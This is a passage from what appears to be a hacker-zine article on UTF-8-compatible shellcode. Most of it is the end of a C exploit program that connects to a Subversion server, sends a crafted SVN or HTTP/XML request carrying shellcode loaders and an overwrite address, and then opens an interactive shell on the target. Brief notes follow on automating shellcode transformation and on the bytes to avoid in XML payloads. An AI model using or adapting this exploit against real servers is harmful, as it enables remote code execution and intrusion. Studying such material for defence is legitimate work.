   printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]);

   sock=socket(AF_INET,SOCK_STREAM,0);
   if(sock<0)
   {
      perror("socket");
      return -1;
   }

   he=gethostbyname(host);
   if(he==NULL)
   {
      herror("gethostbyname");
      return -1;
   }
   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr));
   if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
   {
      perror("connect");
      return -1;
   }

   if(proto==SVN)
   {
      size=read(sock,reply,sizeof(reply));
      reply[size]=0;
      printf("Server said: %s\n",reply);
      snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmd
line);
      write(sock,cmd,strlen(cmd));
      size=read(sock,reply,sizeof(reply));
      reply[size]=0;
      printf("Server said: %s\n",reply);
      strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
      write(sock,cmd,strlen(cmd));
      size=read(sock,reply,sizeof(reply));
      reply[size]=0;
      printf("Server said: %s\n",reply);
      snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader
)+4,stage1loader,
            caddr[0],caddr[1],caddr[2],caddr[3]);
      write(sock,cmd,strlen(cmd));
      size=read(sock,reply,sizeof(reply));
      reply[size]=0;
      printf("Server said: %s\n",reply);
   }
   else if(proto==HTTP)
   {
      // preparing the request...
      snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader,
            caddr[0],caddr[1],caddr[2],caddr[3]);
      size=strlen(buffer);
      snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);
      // now sending the request, immediately followed by the 2nd stage loader
      printf("Sending:\n%s",cmd);
      write(sock,cmd,strlen(cmd));
      sleep(1);
      write(sock,stage2loader,stage2loaderlen);
   }

   // SHELL LOOP
   printf("Entering shell loop...\n");
   exec_sh(sock);

   /*sleep(1);
   close(sock);
   printf("\nConnecting to the shell...\n");
   exec_sh(connect_sh()); */
   return 0;
}
- ----------8<------------8<-------------8<------------8<---------------
```

- ---

- ---] 6. Considerations

Some thoughts about the whole topic.

- ---] 6.1. Automated shellcode transformer

Perhaps it's possible to write an automated shellcode transformer that gets a shellcode and outputs the shellcode UTF-8 compatible (similar to rix's alphanumeric shellcode compiler [4]), but it would be a challenge. Many decisions during the transformation process cannot be automated in my opinion. (By the way - alphanumeric shellcode is of course valid UTF-8! So if you want to save time and space it's not a problem, just use the alphanumeric shellcode compiler on your shellcode and use that!)

- ---] 6.2. UTF-8 in XML-files

When you write UTF-8 shellcode for the purpose of sending it in an XML-document, you'll have to care for a few more things. The bytes \x00 to \x08 are forbidden in XML, as well as the obvious characters like '<', '>' and so on. Don't forget that when you exploit your favourite XML-processing app!

- ---

- ---] 7. Greetings, last words

andi@void.at (man, get a nick :))
soletario (the indoor snowboarder)
ReAction
all the other people who often helped me out

- ---

[1] http://www.cl.cam.ac.uk/~mgk25/unicode.html
[2] http://www.unicode.org/versions/corrigendum1.html
[3] http://www.x86.org/secrets/opcodes/salc.htm
[4] http://www.phrack.org/show.php?p=57&a=15

|=[EOF]=---=|